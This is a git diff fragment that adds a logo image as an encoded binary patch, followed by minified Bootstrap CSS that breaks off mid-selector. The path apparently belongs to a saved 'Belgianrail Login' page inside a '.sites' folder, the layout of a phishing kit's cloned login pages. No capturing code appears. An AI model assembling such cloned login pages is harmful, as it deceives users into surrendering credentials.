a/.sites/b-key/Belgianrail Login_files/bkey.png b/.sites/b-key/Belgianrail Login_files/bkey.png new file mode 100644 index 0000000000000000000000000000000000000000..9ed88acf26b4b885e958b426fd366bd90240b181 GIT binary patch literal 1281 zcmV+c1^)VpP)JOBUy0000000000000000000008mHvYS*L5OM^boskNx>Q~OOVrWSbp z<{UzAM&wKS98haGu9#9Ak>D|eE-vzfK6@FijHq>YP3%uK5&2pX*(WiLA$$|xx2fIl znni!Afyl-e50zhLi_d;DU?06I_T;4pq4P0zd_PzO#>vaj;j_o^(fKU;i8G8M9PLUb zQU{A}ZRy?*7z{rEbr3o#aqk>LS1AOttzI^>| z>JW#HNN<+^GqvE)&mYB>bAc^5_34~y$_ zp2gp>U9F@4-BPyT#%+al75a0DduPeOXy8WhU&4PMzj1wJ^zO3`_Qx}6)m3zuCbg{u z&8sW{(A-O{vuhSz<&JM1*RR~ln)Hw}6LV_QvA#?CXC^4HzQ6WXOSTdHe&U$ydn-o7 zblpMa7R?#Jh4}iR0&DKrf+a4)mEq9!CS|-;?nzeMEnk!HsKgpAo$ZJ~998K$76Fg* zYw4dO+fpjDX7ilsn!GX3!H3Ot#43VneZcYwjt79yzYn zvJw-pkGM^>;L0mQTIZ?5qE|AWZRF8Lj4`{DO)`+ac}+TZuB3jKCSY>wvq2;@tROjC zC#n)m=UD=A6~VB<0mXFaLYr!7ZM z$wbQ1S60tBgV1>iH9yVnu$|F;Rq8q(#EiE^3KXuHtT4lbhBVkvJi}xSGjV^cq+e-8 zuDP(%o-&T}B5tD!q4(E_6y)ewoMP2aifagku=Zr!xY9sZUwKm_-Nk7Ux3STz!?86k zwmURcJjZz;M|fGK>xd$jd~T5}D9Er`3g5z_FRTD|tSqZs9a&-d7ScLD>wB+XhBRUZ zoE_YVt+e@HPxSkg-CN9}9df@RL7_beIyP=KSzJb@GVw(K4H!EL@3xMYiR!*j>)?wG|S1{|_)+nS@t6LOE?uE%Lur zQRzL1+q23CEfF&c)!8AmV~^nJr!rpAlohY-=8PUi--3cgyRBAkNNV}282|tP00000 r0000000000000000029|KLG{+!0NNKivBA&00000NkvXXu0mjf7=T.caret,.dropup>.btn>.caret{border-top-color:#000!important}.label{border:1px solid #000}.table{border-collapse:collapse!important}.table td,.table th{background-color:#fff!important}.table-bordered td,.table-bordered th{border:1px solid #ddd!important}}@font-face{font-family:'Glyphicons Halflings';src:url(../fonts/glyphicons-halflings-regular.eot);src:url(../fonts/glyphicons-halflings-regular.eot?#iefix) format('embedded-opentype'),url(../fonts/glyphicons-halflings-regular.woff2) format('woff2'),url(../fonts/glyphicons-halflings-regular.woff) format('woff'),url(../fonts/glyphicons-halflings-regular.ttf) format('truetype'),url(../fonts/glyphicons-halflings-regular.svg#glyphicons_halflingsregular) format('svg')}.glyphicon{position:relative;top:1px;display:inline-block;font-family:'Glyphicons Halflings';font-style:normal;font-weight:400;line-height:1;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.glyphicon-asterisk:before{content:"\002a"}.glyphicon-plus:before{content:"\002b"}.glyphicon-eur:before,.glyphicon-euro:before{content:"\20ac"}.glyphicon-minus:before{content:"\2212"}.glyphicon-cloud:before{content:"\2601"}.glyphicon-envelope:before{content:"\2709"}.glyphicon-pencil:before{content:"\270f"}.glyphicon-glass:before{content:"\e001"}.glyphicon-music:before{content:"\e002"}.glyphicon-search:before{content:"\e003"}.glyphicon-heart:before{content:"\e005"}.glyphicon-star:before{content:"\e006"}.glyphicon-star-empty:before{content:"\e007"}.glyphicon-user:before{content:"\e008"}.glyphicon-film:before{content:"\e009"}.glyphicon-th-large:before{content:"\e010"}.glyphicon-th:before{content:"\e011"}.glyphicon-th-list:before{content:"\e012"}.glyphicon-ok:before{content:"\e013"}.glyphicon-remove:before{content:"\e014"}.glyphicon-zoom-in:before{content:"\e015"}.glyphicon-zoom-out:before{content:"\e016"}.glyphicon-off:before{content:"\e017"}.glyphicon-signal:before{content:"\e018"}.glyphicon-cog:before{content:"\e019"}.glyphicon-trash:before{content:"\e020"}.glyphicon-home:before{content:"\e021"}.glyphicon-file:before{content:"\e022"}.glyphicon-time:before{content:"\e023"}.glyphicon-road:before{content:"\e024"}.glyphicon-download-alt:before{content:"\e025"}.glyphicon-download:before{content:"\e026"}.glyphicon-upload:before{content:"\e027"}.glyphicon-inbox:before{content:"\e028"}.glyphicon-play-circle:before{content:"\e029"}.glyphicon-repeat:before{content:"\e030"}.glyphicon-refresh:before{content:"\e031"}.glyphicon-list-alt:before{content:"\e032"}.glyphicon-lock:before{content:"\e033"}.glyphicon-flag:before{content:"\e034"}.glyphicon-headphones:before{content:"\e035"}.glyphicon-volume-off:before{content:"\e036"}.glyphicon-volume-down:before{content:"\e037"}.glyphicon-volume-up:before{content:"\e038"}.glyphicon-qrcode:before{content:"\e039"}.glyphicon-barcode:before{content:"\e040"}.glyphicon-tag:before{content:"\e041"}.glyphicon-tags:before{content:"\e042"}.glyphicon-book:before{content:"\e043"}.glyphicon-bookmark:before{content:"\e044"}.glyphicon-print:before{content:"\e045"}.glyphicon-camera:before{content:"\e046"}.glyphicon-font:before{content:"\e047"}.glyphicon-bold:before{content:"\e048"}.glyphicon-italic:before{content:"\e049"}.glyphicon-text-height:before{content:"\e050"}.glyphicon-text-width:before{content:"\e051"}.glyphicon-align-left:before{content:"\e052"}.glyphicon-align-center:before{content:"\e053"}.glyphicon-align-right:before{content:"\e054"}.glyphicon-align-justify:before{content:"\e055"}.glyphicon-list:before{content:"\e056"}.glyphicon-indent-left:before{content:"\e057"}.glyphicon-indent-right:before{content:"\e058"}.glyphicon-facetime-video:before{content:"\e059"}.glyphicon-picture:before{content:"\e060"}.glyphicon-map-marker:before{content:"\e062"}.glyphicon-adjust:before{content:"\e063"}.glyphicon-tint:before{content:"\e064"}.glyphicon-edit:before{content:"\e065"}.glyphicon-share:before{content:"\e066"}.glyphicon-check:before{content:"\e067"}.glyphicon-move:before{content:"\e068"}.glyphicon-step-backward:before{content:"\e069"}.glyphicon-fast-backward:before{content:"\e070"}.glyphicon-backward:before{content:"\e071"}.glyphicon-play:before{content:"\e072"}.glyphicon-pause:before{content:"\e073"}.glyphicon-stop:before{content:"\e074"}.glyphicon-forward:before{content:"\e075"}.glyphicon-fast-forward:before{content:"\e076"}.glyphicon-step-forward:before{content:"\e077"}.glyphicon-eject:before{content:"\e078"}.glyphicon-chevron-left:before{content:"\e079"}.glyphicon-chevron-right:before{content:"\e080"}.glyphicon-plus-sign:before{content:"\e081"}.glyphicon-minus-sign:before{content:"\e082"}.glyphicon-remove-sign:before{content:"\e083"}.glyphicon-ok-sign:before{content:"\e084"}.glyphicon-question-sign:before{content:"\e085"}.glyphicon-info-sign:before{content:"\e086"}.glyphicon-screenshot:before{content:"\e087"}.glyphicon-remove-circle:before{content:"\e088"}.glyphicon-ok-circle:before{content:"\e089"}.glyphicon-ban-circle:before{content:"\e090"}.glyphicon-arrow-left:before{content:"\e091"}.glyphicon-arrow-right:before{content:"\e092"}.glyphicon-arrow-up:before{content:"\e093"}.glyphicon-arrow-down:before{content:"\e094"}.glyphicon-share-alt:before{content:"\e095"}.glyphicon-resize-full:before{content:"\e096"}.glyphicon-resize-small:before{content:"\e097"}.glyphicon-exclamation-sign:before{content:"\e101"}.glyphicon-gift:before{content:"\e102"}.glyphicon-leaf:before{content:"\e103"}.glyphicon-fire:before{content:"\e104"}.glyphicon-eye-open:before{content:"\e105"}.glyphicon-eye-close:before{content:"\e106"}.glyphicon-warning-sign:before{content:"\e107"}.glyphicon-plane:before{content:"\e108"}.glyphicon-calendar:before{content:"\e109"}.glyphicon-random:before{content:"\e110"}.glyphicon-comment:before{content:"\e111"}.glyphicon-magnet:before{content:"\e112"}.glyphicon-chevron-up:before{content:"\e113"}.glyphicon-chevron-down:before{content:"\e114"}.glyphicon-retweet:before{content:"\e115"}.glyphicon-shopping-cart:before{content:"\e116"}.glyphicon-folder-close:before{content:"\e117"}.glyphicon-folder-open:before{content:"\e118"}.glyphicon-resize-vertical:before{content:"\e119"}.glyphicon-resize-horizontal:before{content:"\e120"}.glyphicon-hdd:before{content:"\e121"}.glyphicon-bullhorn:before{content:"\e122"}.glyphicon-bell:before{content:"\e123"}.glyphicon-certificate:before{content:"\e124"}.glyphicon-thumbs-up:before{content:"\e125"}.glyphicon-thumbs-down:before{content:"\e126"}.glyphicon-hand-right:before{content:"\e127"}.glyphicon-hand-left:before{content:"\e128"}.glyphicon-hand-up:before{content:"\e129"}.glyphicon-hand-down:before{content:"\e130"}.glyphicon-circle-arrow-right:before{content:"\e131"}.glyphicon-circle-arrow-left:before{content:"\e132"}.glyphicon-circle-arrow-up:before{content:"\e133"}.glyphicon-circle-arrow-down:before{content:"\e134"}.glyphicon-globe:before{content:"\e135"}.glyphicon-wrench:before{content:"\e136"}.glyphicon-tasks:before{content:"\e137"}.glyphicon-filter:before{content:"\e138"}.glyphicon-briefcase:before{content:"\e139"}.glyphicon-fullscreen:before{content:"\e140"}.glyphicon-dashboard:before{content:"\e141"}.glyphicon-paperclip:before{content:"\e142"}.glyphicon-heart-empty:before{content:"\e143"}.glyphicon-link:before{content:"\e144"}.glyphicon-phone:before{content:"\e145"}.glyphicon-pushpin:before{content:"\e146"}.glyphicon-usd:before{content:"\e148"}.glyphicon-gbp:before{content:"\e149"}.glyphicon-sort:before{content:"\e150"}.glyphicon-sort-by-alphabet:before{content:"\e151"}.glyphicon-sort-by-alphabet-alt:before{content:"\e152"}.glyphicon-sort-by-order:before{content:"\e153"}.glyphicon-sort-by-order-alt:before{content:"\e154"}.glyphicon-sort-by-attributes:before{content:"\e155"}.glyphicon-sort-by-attributes-alt:before{content:"\e156"}.glyphicon-unchecked:before{content:"\e157"}.glyphicon-expand:before{content:"\e158"}.glyphicon-collapse-down:before{content:"\e159"}.glyphicon-collapse-up:before{content:"\e160"}.glyphicon-log-in:before{content:"\e161"}.glyphicon-flash:before{content:"\e162"}.glyphicon-log-out:before{content:"\e163"}.glyphicon-new-window:before{content:"\e164"}.glyphicon-record:before{content:"\e165"}.glyphicon-save:before{content:"\e166"}.glyphicon-open:before{content:"\e167"}.glyphicon-saved:before{content:"\e168"}.glyphicon-import:before{content:"\e169"}.glyphicon-export:before{content:"\e170"}.glyphicon-send:before{content:"\e171"}.glyphicon-floppy-disk:before{content:"\e172"}.glyphicon-floppy-saved:before{content:"\e173"}.glyphicon-floppy-remove:before{content:"\e174"}.glyphicon-floppy-save:before{content:"\e175"}.glyphicon-floppy-open:before{content:"\e176"}.glyphicon-credit-card:before{content:"\e177"}.glyphicon-transfer:before{content:"\e178"}.glyphicon-cutlery:before{content:"\e179"}.glyphicon-header:before{content:"\e180"}.glyphicon-compressed:before{content:"\e181"}.glyphicon-earphone:before{content:"\e182"}.glyphicon-phone-alt:before{content:"\e183"}.glyphicon-tower:before{content:"\e184"}.glyphicon-stats:before{content:"\e185"}.glyphicon-sd-video:before{content:"\e186"}.glyphicon-hd-video:before{content:"\e187"}.glyphicon-subtitles:before{content:"\e188"}.glyphicon-sound-stereo:before{content:"\e189"}.glyphicon-sound-dolby:before{content:"\e190"}.glyphicon-sound-5-1:before{content:"\e191"}.glyphicon-sound-6-1:before{content:"\e192"}.glyphicon-sound-7-1:before{content:"\e193"}.glyphicon-copyright-mark:before{content:"\e194"}.glyphicon-registration-mark:before{content:"\e195"}.glyphicon-cloud-download:before{content:"\e197"}.glyphicon-cloud-upload:before{content:"\e198"}.glyphicon-tree-conifer:before{content:"\e199"}.glyphicon-tree-deciduous:before{content:"\e200"}.glyphicon-cd:before{content:"\e201"}.glyphicon-save-file:before{content:"\e202"}.glyphicon-open-file:before{content:"\e203"}.glyphicon-level-up:before{content:"\e204"}.glyphicon-copy:before{content:"\e205"}.glyphicon-paste:before{content:"\e206"}.glyphicon-alert:before{content:"\e209"}.glyphicon-equalizer:before{content:"\e210"}.glyphicon-king:before{content:"\e211"}.glyphicon-queen:before{content:"\e212"}.glyphicon-pawn:before{content:"\e213"}.glyphicon-bishop:before{content:"\e214"}.glyphicon-knight:before{content:"\e215"}.glyphicon-baby-formula:before{content:"\e216"}.glyphicon-tent:before{content:"\26fa"}.glyphicon-blackboard:before{content:"\e218"}.glyphicon-bed:before{content:"\e219"}.glyphicon-apple:before{content:"\f8ff"}.glyphicon-erase:before{content:"\e221"}.glyphicon-hourglass:before{content:"\231b"}.glyphicon-lamp:before{content:"\e223"}.glyphicon-duplicate:before{content:"\e224"}.glyphicon-piggy-bank:before{content:"\e225"}.glyphicon-scissors:before{content:"\e226"}.glyphicon-bitcoin:before{content:"\e227"}.glyphicon-btc:before{content:"\e227"}.glyphicon-xbt:before{content:"\e227"}.glyphicon-yen:before{content:"\00a5"}.glyphicon-jpy:before{content:"\00a5"}.glyphicon-ruble:before{content:"\20bd"}.glyphicon-rub:before{content:"\20bd"}.glyphicon-scale:before{content:"\e230"}.glyphicon-ice-lolly:before{content:"\e231"}.glyphicon-ice-lolly-tasted:before{content:"\e232"}.glyphicon-education:before{content:"\e233"}.glyphicon-option-horizontal:before{content:"\e234"}.glyphicon-option-vertical:before{content:"\e235"}.glyphicon-menu-hamburger:before{content:"\e236"}.glyphicon-modal-window:before{content:"\e237"}.glyphicon-oil:before{content:"\e238"}.glyphicon-grain:before{content:"\e239"}.glyphicon-sunglasses:before{content:"\e240"}.glyphicon-text-size:before{content:"\e241"}.glyphicon-text-color:before{content:"\e242"}.glyphicon-text-background:before{content:"\e243"}.glyphicon-object-align-top:before{content:"\e244"}.glyphicon-object-align-bottom:before{content:"\e245"}.glyphicon-object-align-horizontal:before{content:"\e246"}.glyphicon-object-align-left:before{content:"\e247"}.glyphicon-object-align-vertical:before{content:"\e248"}.glyphicon-object-align-right:before{content:"\e249"}.glyphicon-triangle-right:before{content:"\e250"}.glyphicon-triangle-left:before{content:"\e251"}.glyphicon-triangle-bottom:before{content:"\e252"}.glyphicon-triangle-top:before{content:"\e253"}.glyphicon-console:before{content:"\e254"}.glyphicon-superscript:before{content:"\e255"}.glyphicon-subscript:before{content:"\e256"}.glyphicon-menu-left:before{content:"\e257"}.glyphicon-menu-right:before{content:"\e258"}.glyphicon-menu-down:before{content:"\e259"}.glyphicon-menu-up:before{content:"\e260"}*{-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}:after,:before{-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}html{font-size:10px;-webkit-tap-highlight-color:rgba(0,0,0,0)}body{font-family:"Helvetica Neue",Helvetica,Arial,sans-serif;font-size:14px;line-height:1.42857143;color:#333;background-color:#fff}button,input,select,textarea{font-family:inherit;font-size:inherit;line-height:inherit}a{color:#337ab7;text-decoration:none}a:focus,a:hover{color:#23527c;text-decoration:underline}a:focus{outline:5px auto -webkit-focus-ring-color;outline-offset:-2px}figure{margin:0}img{vertical-align:middle}.carousel-inner>.item>a>img,.carousel-inner>.item>img,.img-responsive,.thumbnail a>img,.thumbnail>img{display:block;max-width:100%;height:auto}.img-rounded{border-radius:6px}.img-thumbnail{display:inline-block;max-width:100%;height:auto;padding:4px;line-height:1.42857143;background-color:#fff;border:1px solid #ddd;border-radius:4px;-webkit-transition:all .2s ease-in-out;-o-transition:all .2s ease-in-out;transition:all .2s ease-in-out}.img-circle{border-radius:50%}hr{margin-top:20px;margin-bottom:20px;border:0;border-top:1px solid #eee}.sr-only{position:absolute;width:1px;height:1px;padding:0;margin:-1px;overflow:hidden;clip:rect(0,0,0,0);border:0}.sr-only-focusable:active,.sr-only-focusable:focus{position:static;width:auto;height:auto;margin:0;overflow:visible;clip:auto}[role=button]{cursor:pointer}.h1,.h2,.h3,.h4,.h5,.h6,h1,h2,h3,h4,h5,h6{font-family:inherit;font-weight:500;line-height:1.1;color:inherit}.h1 .small,.h1 small,.h2 .small,.h2 small,.h3 .small,.h3 small,.h4 .small,.h4 small,.h5 .small,.h5 small,.h6 .small,.h6 small,h1 .small,h1 small,h2 .small,h2 small,h3 .small,h3 small,h4 .small,h4 small,h5 .small,h5 small,h6 .small,h6 small{font-weight:400;line-height:1;color:#777}.h1,.h2,.h3,h1,h2,h3{margin-top:20px;margin-bottom:10px}.h1 .small,.h1 small,.h2 .small,.h2 small,.h3 .small,.h3 small,h1 .small,h1 small,h2 .small,h2 small,h3 .small,h3 small{font-size:65%}.h4,.h5,.h6,h4,h5,h6{margin-top:10px;margin-bottom:10px}.h4 .small,.h4 small,.h5 .small,.h5 small,.h6 .small,.h6 small,h4 .small,h4 small,h5 .small,h5 small,h6 .small,h6 small{font-size:75%}.h1,h1{font-size:36px}.h2,h2{font-size:30px}.h3,h3{font-size:24px}.h4,h4{font-size:18px}.h5,h5{font-size:14px}.h6,h6{font-size:12px}p{margin:0 0 10px}.lead{margin-bottom:20px;font-size:16px;font-weight:300;line-height:1.4}@media (min-width:768px){.lead{font-size:21px}}.small,small{font-size:85%}.mark,mark{padding:.2em;background-color:#fcf8e3}.text-left{text-align:left}.text-right{text-align:right}.text-center{text-align:center}.text-justify{text-align:justify}.text-nowrap{white-space:nowrap}.text-lowercase{text-transform:lowercase}.text-uppercase{text-transform:uppercase}.text-capitalize{text-transform:capitalize}.text-muted{color:#777}.text-primary{color:#337ab7}a.text-primary:focus,a.text-primary:hover{color:#286090}.text-success{color:#3c763d}a.text-success:focus,a.text-success:hover{color:#2b542c}.text-info{color:#31708f}a.text-info:focus,a.text-info:hover{color:#245269}.text-warning{color:#8a6d3b}a.text-warning:focus,a.text-warning:hover{color:#66512c}.text-danger{color:#a94442}a.text-danger:focus,a.text-danger:hover{color:#843534}.bg-primary{color:#fff;background-color:#337ab7}a.bg-primary:focus,a.bg-primary:hover{background-color:#286090}.bg-success{background-color:#dff0d8}a.bg-success:focus,a.bg-success:hover{background-color:#c1e2b3}.bg-info{background-color:#d9edf7}a.bg-info:focus,a.bg-info:hover{background-color:#afd9ee}.bg-warning{background-color:#fcf8e3}a.bg-warning:focus,a.bg-warning:hover{background-color:#f7ecb5}.bg-danger{background-color:#f2dede}a.bg-danger:focus,a.bg-danger:hover{background-color:#e4b9b9}.page-header{padding-bottom:9px;margin:40px 0 20px;border-bottom:1px solid #eee}ol,ul{margin-top:0;margin-bottom:10px}ol ol,ol ul,ul ol,ul ul{margin-bottom:0}.list-unstyled{padding-left:0;list-style:none}.list-inline{padding-left:0;margin-left:-5px;list-style:none}.list-inline>li{display:inline-block;padding-right:5px;padding-left:5px}dl{margin-top:0;margin-bottom:20px}dd,dt{line-height:1.42857143}dt{font-weight:700}dd{margin-left:0}@media (min-width:768px){.dl-horizontal dt{float:left;width:160px;overflow:hidden;clear:left;text-align:right;text-overflow:ellipsis;white-space:nowrap}.dl-horizontal dd{margin-left:180px}}abbr[data-original-title],abbr[title]{cursor:help;border-bottom:1px dotted #777}.initialism{font-size:90%;text-transform:uppercase}blockquote{padding:10px 20px;margin:0 0 20px;font-size:17.5px;border-left:5px solid #eee}blockquote ol:last-child,blockquote p:last-child,blockquote ul:last-child{margin-bottom:0}blockquote .small,blockquote footer,blockquote small{display:block;font-size:80%;line-height:1.42857143;color:#777}blockquote .small:before,blockquote footer:before,blockquote small:before{content:'\2014 \00A0'}.blockquote-reverse,blockquote.pull-right{padding-right:15px;padding-left:0;text-align:right;border-right:5px solid #eee;border-left:0}.blockquote-reverse .small:before,.blockquote-reverse footer:before,.blockquote-reverse small:before,blockquote.pull-right .small:before,blockquote.pull-right footer:before,blockquote.pull-right small:before{content:''}.blockquote-reverse .small:after,.blockquote-reverse footer:after,.blockquote-reverse small:after,blockquote.pull-right .small:after,blockquote.pull-right footer:after,blockquote.pull-right small:after{content:'\00A0 \2014'}address{margin-bottom:20px;font-style:normal;line-height:1.42857143}code,kbd,pre,samp{font-family:Menlo,Monaco,Consolas,"Courier New",monospace}code{padding:2px 4px;font-size:90%;color:#c7254e;background-color:#f9f2f4;border-radius:4px}kbd{padding:2px 4px;font-size:90%;color:#fff;background-color:#333;border-radius:3px;-webkit-box-shadow:inset 0 -1px 0 rgba(0,0,0,.25);box-shadow:inset 0 -1px 0 rgba(0,0,0,.25)}kbd kbd{padding:0;font-size:100%;font-weight:700;-webkit-box-shadow:none;box-shadow:none}pre{display:block;padding:9.5px;margin:0 0 10px;font-size:13px;line-height:1.42857143;color:#333;word-break:break-all;word-wrap:break-word;background-color:#f5f5f5;border:1px solid #ccc;border-radius:4px}pre code{padding:0;font-size:inherit;color:inherit;white-space:pre-wrap;background-color:transparent;border-radius:0}.pre-scrollable{max-height:340px;overflow-y:scroll}.container{padding-right:15px;padding-left:15px;margin-right:auto;margin-left:auto}@media (min-width:768px){.container{width:750px}}@media (min-width:992px){.container{width:970px}}@media (min-width:1200px){.container{width:1170px}}.container-fluid{padding-right:15px;padding-left:15px;margin-right:auto;margin-left:auto}.row{margin-right:-15px;margin-left:-15px}.col-lg-1,.col-lg-10,.col-lg-11,.col-lg-12,.col-lg-2,.col-lg-3,.col-lg-4,.col-lg-5,.col-lg-6,.col-lg-7,.col-lg-8,.col-lg-9,.col-md-1,.col-md-10,.col-md-11,.col-md-12,.col-md-2,.col-md-3,.col-md-4,.col-md-5,.col-md-6,.col-md-7,.col-md-8,.col-md-9,.col-sm-1,.col-sm-10,.col-sm-11,.col-sm-12,.col-sm-2,.col-sm-3,.col-sm-4,.col-sm-5,.col-sm-6,.col-sm-7,.col-sm-8,.col-sm-9,.col-xs-1,.col-xs-10,.col-xs-11,.col-xs-12,.col-xs-2,.col-xs-3,.col-xs-4,.col-xs-5,.col-xs-6,.col-xs-7,.col-xs-8,.col-xs-9{position:relative;min-height:1px;padding-right:15px;padding-left:15px}.col-xs-1,.col-xs-10,.col-xs-11,.col-xs-12,.col-xs-2,.col-xs-3,.col-xs-4,.col-xs-5,.col-xs-6,.col-xs-7,.col-xs-8,.col-xs-9{float:left}.col-xs-12{width:100%}.col-xs-11{width:91.66666667%}.col-xs-10{width:83.33333333%}.col-xs-9{width:75%}.col-xs-8{width:66.66666667%}.col-xs-7{width:58.33333333%}.col-xs-6{width:50%}.col-xs-5{width:41.66666667%}.col-xs-4{width:33.33333333%}.col-xs-3{width:25%}.col-xs-2{width:16.66666667%}.col-xs-1{width:8.33333333%}.col-xs-pull-12{right:100%}.col-xs-pull-11{right:91.66666667%}.col-xs-pull-10{right:83.33333333%}.col-xs-pull-9{right:75%}.col-xs-pull-8{right:66.66666667%}.col-xs-pull-7{right:58.33333333%}.col-xs-pull-6{right:50%}.col-xs-pull-5{right:41.66666667%}.col-xs-pull-4{right:33.33333333%}.col-xs-pull-3{right:25%}.col-xs-pull-2{right:16.66666667%}.col-xs-pull-1{right:8.33333333%}.col-xs-pull-0{right:auto}.col-xs-push-12{left:100%}.col-xs-push-11{left:91.66666667%}.col-xs-push-10{left:83.33333333%}.col-xs-push-9{left:75%}.col-xs-push-8{left:66.66666667%}.col-xs-push-7{left:58.33333333%}.col-xs-push-6{left:50%}.col-xs-push-5{left:41.66666667%}.col-xs-push-4{left:33.33333333%}.col-xs-push-3{left:25%}.col-xs-push-2{left:16.66666667%}.col-xs-push-1{left:8.33333333%}.col-xs-push-0{left:auto}.col-xs-offset-12{margin-left:100%}.col-xs-offset-11{margin-left:91.66666667%}.col-xs-offset-10{margin-left:83.33333333%}.col-xs-offset-9{margin-left:75%}.col-xs-offset-8{margin-left:66.66666667%}.col-xs-offset-7{margin-left:58.33333333%}.col-xs-offset-6{margin-left:50%}.col-xs-offset-5{margin-left:41.66666667%}.col-xs-offset-4{margin-left:33.33333333%}.col-xs-offset-3{margin-left:25%}.col-xs-offset-2{margin-left:16.66666667%}.col-xs-offset-1{margin-left:8.33333333%}.col-xs-offset-0{margin-left:0}@media (min-width:768px){.col-sm-1,.col-sm-10,.col-sm-11,.col-sm-12,.col-sm-2,.col-sm-3,.col-sm-4,.col-sm-5,.col-sm-6,.col-sm-7,.col-sm-8,.col-sm-9{float:left}.col-sm-12{width:100%}.col-sm-11{width:91.66666667%}.col-sm-10{width:83.33333333%}.col-sm-9{width:75%}.col-sm-8{width:66.66666667%}.col-sm-7{width:58.33333333%}.col-sm-6{width:50%}.col-sm-5{width:41.66666667%}.col-sm-4{width:33.33333333%}.col-sm-3{width:25%}.col-sm-2{width:16.66666667%}.col-sm-1{width:8.33333333%}.col-sm-pull-12{right:100%}.col-sm-pull-11{right:91.66666667%}.col-sm-pull-10{right:83.33333333%}.col-sm-pull-9{right:75%}.col-sm-pull-8{right:66.66666667%}.col-sm-pull-7{right:58.33333333%}.col-sm-pull-6{right:50%}.col-sm-pull-5{right:41.66666667%}.col-sm-pull-4{right:33.33333333%}.col-sm-pull-3{right:25%}.col-sm-pull-2{right:16.66666667%}.col-sm-pull-1{right:8.33333333%}.col-sm-pull-0{right:auto}.col-sm-push-12{left:100%}.col-sm-push-11{left:91.66666667%}.col-sm-push-10{left:83.33333333%}.col-sm-push-9{left:75%}.col-sm-push-8{left:66.66666667%}.col-sm-push-7{left:58.33333333%}.col-sm-push-6{left:50%}.col-sm-push-5{left:41.66666667%}.col-sm-push-4{left:33.33333333%}.col-sm-push-3{left:25%}.col-sm-push-2{left:16.66666667%}.col-sm-push-1{left:8.33333333%}.col-sm-push-0{left:auto}.col-sm-offset-12{margin-left:100%}.col-sm-offset-11{margin-left:91.66666667%}.col-sm-offset-10{margin-left:83.33333333%}.col-sm-offset-9{margin-left:75%}.col-sm-offset-8{margin-left:66.66666667%}.col-sm-offset-7{margin-left:58.33333333%}.col-sm-offset-6{margin-left:50%}.col-sm-offset-5{margin-left:41.66666667%}.col-sm-offset-4{margin-left:33.33333333%}.col-sm-offset-3{margin-left:25%}.col-sm-offset-2{margin-left:16.66666667%}.col-sm-offset-1{margin-left:8.33333333%}.col-sm-offset-0{margin-left:0}}@media (min-width:992px){.col-md-1,.col-md-10,.col-md-11,.col-md-12,.col-md-2,.col-md-3,.col-md-4,.col-md-5,.col-md-6,.col-md-7,.col-md-8,.col-md-9{float:left}.col-md-12{width:100%}.col-md-11{width:91.66666667%}.col-md-10{width:83.33333333%}.col-md-9{width:75%}.col-md-8{width:66.66666667%}.col-md-7{width:58.33333333%}.col-md-6{width:50%}.col-md-5{width:41.66666667%}.col-md-4{width:33.33333333%}.col-md-3{width:25%}.col-md-2{width:16.66666667%}.col-md-1{width:8.33333333%}.col-md-pull-12{right:100%}.col-md-pull-11{right:91.66666667%}.col-md-pull-10{right:83.33333333%}.col-md-pull-9{right:75%}.col-md-pull-8{right:66.66666667%}.col-md-pull-7{right:58.33333333%}.col-md-pull-6{right:50%}.col-md-pull-5{right:41.66666667%}.col-md-pull-4{right:33.33333333%}.col-md-pull-3{right:25%}.col-md-pull-2{right:16.66666667%}.col-md-pull-1{right:8.33333333%}.col-md-pull-0{right:auto}.col-md-push-12{left:100%}.col-md-push-11{left:91.66666667%}.col-md-push-10{left:83.33333333%}.col-md-push-9{left:75%}.col-md-push-8{left:66.66666667%}.col-md-push-7{left:58.33333333%}.col-md-push-6{left:50%}.col-md-push-5{left:41.66666667%}.col-md-push-4{left:33.33333333%}.col-md-push-3{left:25%}.col-md-push-2{left:16.66666667%}.col-md-push-1{left:8.33333333%}.col-md-push-0{left:auto}.col-md-offset-12{margin-left:100%}.col-md-offset-11{margin-left:91.66666667%}.col-md-offset-10{margin-left:83.33333333%}.col-md-offset-9{margin-left:75%}.col-md-offset-8{margin-left:66.66666667%}.col-md-offset-7{margin-left:58.33333333%}.col-md-offset-6{margin-left:50%}.col-md-offset-5{margin-left:41.66666667%}.col-md-offset-4{margin-left:33.33333333%}.col-md-offset-3{margin-left:25%}.col-md-offset-2{margin-left:16.66666667%}.col-md-offset-1{margin-left:8.33333333%}.col-md-offset-0{margin-left:0}}@media (min-width:1200px){.col-lg-1,.col-lg-10,.col-lg-11,.col-lg-12,.col-lg-2,.col-lg-3,.col-lg-4,.col-lg-5,.col-lg-6,.col-lg-7,.col-lg-8,.col-lg-9{float:left}.col-lg-12{width:100%}.col-lg-11{width:91.66666667%}.col-lg-10{width:83.33333333%}.col-lg-9{width:75%}.col-lg-8{width:66.66666667%}.col-lg-7{width:58.33333333%}.col-lg-6{width:50%}.col-lg-5{width:41.66666667%}.col-lg-4{width:33.33333333%}.col-lg-3{width:25%}.col-lg-2{width:16.66666667%}.col-lg-1{width:8.33333333%}.col-lg-pull-12{right:100%}.col-lg-pull-11{right:91.66666667%}.col-lg-pull-10{right:83.33333333%}.col-lg-pull-9{right:75%}.col-lg-pull-8{right:66.66666667%}.col-lg-pull-7{right:58.33333333%}.col-lg-pull-6{right:50%}.col-lg-pull-5{right:41.66666667%}.col-lg-pull-4{right:33.33333333%}.col-lg-pull-3{right:25%}.col-lg-pull-2{right:16.66666667%}.col-lg-pull-1{right:8.33333333%}.col-lg-pull-0{right:auto}.col-lg-push-12{left:100%}.col-lg-push-11{left:91.66666667%}.col-lg-push-10{left:83.33333333%}.col-lg-push-9{left:75%}.col-lg-push-8{left:66.66666667%}.col-lg-push-7{left:58.33333333%}.col-lg-push-6{left:50%}.col-lg-push-5{left:41.66666667%}.col-lg-push-4{left:33.33333333%}.col-lg-push-3{left:25%}.col-lg-push-2{left:16.66666667%}.col-lg-push-1{left:8.33333333%}.col-lg-push-0{left:auto}.col-lg-offset-12{margin-left:100%}.col-lg-offset-11{margin-left:91.66666667%}.col-lg-offset-10{margin-left:83.33333333%}.col-lg-offset-9{margin-left:75%}.col-lg-offset-8{margin-left:66.66666667%}.col-lg-offset-7{margin-left:58.33333333%}.col-lg-offset-6{margin-left:50%}.col-lg-offset-5{margin-left:41.66666667%}.col-lg-offset-4{margin-left:33.33333333%}.col-lg-offset-3{margin-left:25%}.col-lg-offset-2{margin-left:16.66666667%}.col-lg-offset-1{margin-left:8.33333333%}.col-